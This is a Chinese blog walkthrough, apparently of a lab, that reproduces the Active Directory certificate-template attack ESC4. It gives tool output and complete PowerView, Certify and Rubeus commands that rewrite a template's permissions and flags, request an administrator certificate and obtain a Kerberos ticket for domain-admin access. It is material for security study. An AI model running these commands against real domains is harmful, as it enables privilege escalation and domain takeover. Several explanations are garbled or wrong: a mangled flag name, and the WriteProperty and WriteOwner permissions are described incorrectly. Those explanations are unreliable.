简介:
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。
ESC4原理:
证书模板是ActiveDirectory中的安全对象,这意味着它们有一个安全描述符,指定哪些ActiveDirectory主体对模板具有特定权限。我们说,如果一个模板有访问控制项(ACE),允许AD主体在模板中编辑敏感的安全设置,那么这个模板在访问控制上就存在配置错误。也就是说,如果攻击者可以访问这些AD主体,他们就可以主动将错误配置推送到一个安全的模板,攻击者可以设置易受攻击的EKU(ESC1-ESC3)、翻转设置(如CTFLAGERINCOLEE SUBERS SUBJECT(ESc1))或删除“颁发要求”(如管理批准或授权签名)。
ESC4利用条件:
1.对模板有编辑写入权限
如何设置可被滥用的模板:
1.获取易受攻击模板(ESC4)的注册权限
2.禁用PEND_ALL_REQUESTS标志mspki-enrollment-flag以禁用管理批准
3.将mspki-ra-signature属性设置为0以禁用授权签名要求
4.启用ENROLLEE_SUPPLIES_SUBJECT标志以mspki-certificate-name-flag将高特权帐户名称指定为 SAN
5.设置mspki-certificate-application-policy为证书用途以进行身份验证
5.1 客户身份验证(OID:1.3.6.1.5.5.7.3.2)
5.2 智能卡登录(OID:1.3.6.1.4.1.311.20.2.2)
5.3 PKINIT客户身份验证(OID:1.3.6.1.5.2.3.4)
5.4 任何目的(OID:2.5.29.37.0)
5.5 无EKU
6.请求高权限证书进行身份验证并执行 Pass-The-Ticket 攻击
ESC4漏洞环境配置:
首先进入证书颁发机构
选择证书模板,右键管理
复制一个工作站身份认证模板,起名ESC4
接着在安全中勾选上写入权限
发布要求中勾选上CA证书管理批准和授权签名
接着保存发布即可
ESC4漏洞复现:
这里还是先用Certify检查下证书模板配置
Certify.exe find /vulnerable
C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'
[*] Listing info about the Enterprise CA 'test-CA-CA'
Enterprise CA Name : test-CA-CA
DNS Hostname : CA.test.com
FullName : CA.test.com\test-CA-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=test-CA-CA, DC=test, DC=com
Cert Thumbprint : BA926BC14D8A5A42A94F7A75289F761ED3D55676
Cert Serial : 6B1C11898A943F83420886349402F998
Cert Start Date : 2023/2/1 23:43:31
Cert End Date : 2028/2/1 23:53:30
Cert Chain : CN=test-CA-CA,DC=test,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
Allow ManageCA, ManageCertificates TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Enrollment Agent Restrictions : None
[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:
ESC3
[!] Vulnerable Certificates Templates :
CA Name : CA.test.com\test-CA-CA
Template Name : ESC4
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_DNS
mspki-enrollment-flag : PEND_ALL_REQUESTS, AUTO_ENROLLMENT
Authorized Signatures Required : 1
Application Policies : 智能卡登录
pkiextendedkeyusage : 客户端身份验证
mspki-certificate-application-policy : 客户端身份验证
Permissions
Enrollment Permissions
Enrollment Rights : TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Domain Computers S-1-5-21-3103767057-400549548-1822187925-515
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Object Control Permissions
Owner : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
WriteOwner Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteDacl Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteProperty Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
主要看这里
WriteProperty : WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
WriteOwner : WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
WriteDacl : WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
可以看到可以编辑模板,证明符合利用条件
开始利用
首先是添加注册权限
这里使用powerview来进行操作
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Certificate-Enrollment: 此扩展权限对应“注册”权限。根据Microsoft Docs,相应的 GUID 是0e10c968-78fb-11d2-90d4-00c04f79dc55.
要获得模板的注册权,我们需要向目标证书添加Certificate-Enrollment(GUID:)0e10c968-78fb-11d2-90d4-00c04f79dc55扩展权。
给domain users组添加注册权限
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-7
8fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=test,DC=com" -Verbose
这时候重新检查下证书模板配置,发现domain user组已经有了注册的权限
接着禁用管理批准
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose
接着禁用授权签名要求
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose
这时候我们可以到证书管理机构看下目前的ESC4模板配置
发布要求原本选中的CA证书管理批准和授权签名疫情全部禁用了
接着启用 msPKI-Certificate-Name-Flag 下的 ENROLLEE_SUPPLIES_SUBJECT
作用就是可以伪造用户进行证书申请
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose
最后就是更改证书申请的应用扩展策略
因为我复制的客户端认证的模板,自带客户端认证,如果没有的话就要执行以下下面的命令
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
这时候我们再来看下目前的模板,已经符合ESC1的利用了
接着我们就用ESC1的方法去利用
使用Certify给域管申请一个证书
Certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC4 /altname:administrator
这次没有保存成pem的到kali里面转成pfx,找了个在线的网站
https://www.chinassl.net/ssltools/convert-ssl.html
接着下载pfx文件
使用Rubeus获取tgt
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.161.177 /password:123123 /ptt
成功请求到tgt票据
这时候就可以成功访问域控文件了。
Comments NOTHING